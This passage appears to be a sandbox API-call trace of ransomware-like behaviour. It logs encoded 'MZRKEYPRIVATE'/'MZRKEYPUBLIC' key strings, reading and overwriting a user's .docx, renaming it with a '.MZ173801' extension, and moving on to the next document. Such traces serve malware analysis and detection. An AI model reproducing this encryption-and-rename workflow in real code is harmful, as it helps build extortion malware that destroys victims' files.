lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0168.140] GetCurrentThreadId () returned 0xab4 [0168.140] GetCurrentThreadId () returned 0xab4 [0168.140] GetCurrentThreadId () returned 0xab4 [0168.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0168.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0168.141] GetCurrentThreadId () returned 0xab4 [0168.141] GetCurrentThreadId () returned 0xab4 [0168.141] GetCurrentThreadId () returned 0xab4 [0168.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jJcmB8tI.docx" (normalized: "c:\\users\\fd1hvy\\documents\\jjcmb8ti.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.141] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0168.141] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.141] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x262b [0168.141] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.141] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x262b, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x262b, lpOverlapped=0x0) returned 1 [0168.143] CloseHandle (hObject=0x278) returned 1 [0168.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jJcmB8tI.docx" (normalized: "c:\\users\\fd1hvy\\documents\\jjcmb8ti.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.144] WriteFile (in: hFile=0x278, lpBuffer=0x24a4040*, nNumberOfBytesToWrite=0x262b, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a4040*, lpNumberOfBytesWritten=0x19fa24*=0x262b, lpOverlapped=0x0) returned 1 [0168.154] CloseHandle (hObject=0x278) returned 1 [0168.250] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\jJcmB8tI.docx" (normalized: "c:\\users\\fd1hvy\\documents\\jjcmb8ti.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\jJcmB8tI.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\jjcmb8ti.docx.mz173801")) returned 1 [0168.251] GetCurrentThreadId () returned 0xab4 [0168.251] GetCurrentThreadId () returned 0xab4 [0168.251] GetCurrentThreadId () returned 0xab4 [0168.251] GetCurrentThreadId () returned 0xab4 [0168.251] GetCurrentThreadId () returned 0xab4 [0168.251] GetCurrentThreadId () returned 0xab4 [0168.251] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x832eaf00, ftCreationTime.dwHighDateTime=0x1d5f0d6, ftLastAccessTime.dwLowDateTime=0xf2c3a4a0, ftLastAccessTime.dwHighDateTime=0x1d5efd8, ftLastWriteTime.dwLowDateTime=0xf2c3a4a0, ftLastWriteTime.dwHighDateTime=0x1d5efd8, nFileSizeHigh=0x0, nFileSizeLow=0xf0f6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="kcbhP88PnzqBNGqzO3.pptx", cAlternateFileName="KCBHP8~1.PPT")) returned 1 [0168.251] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.252] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.252] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kcbhP88PnzqBNGqzO3.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\kcbhp88pnzqbngqzo3.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x832eaf00, ftCreationTime.dwHighDateTime=0x1d5f0d6, ftLastAccessTime.dwLowDateTime=0xf2c3a4a0, ftLastAccessTime.dwHighDateTime=0x1d5efd8, ftLastWriteTime.dwLowDateTime=0xf2c3a4a0, ftLastWriteTime.dwHighDateTime=0x1d5efd8, nFileSizeHigh=0x0, nFileSizeLow=0xf0f6)) returned 1 [0168.252] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kcbhP88PnzqBNGqzO3.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\kcbhp88pnzqbngqzo3.pptx")) returned 0x20 [0168.252] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kcbhP88PnzqBNGqzO3.pptx", dwFileAttributes=0x80) returned 1 [0168.254] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.254] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0168.255] GetCurrentThreadId () returned 0xab4 [0168.255] GetCurrentThreadId () returned 0xab4 [0168.255] GetCurrentThreadId () returned 0xab4 [0168.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 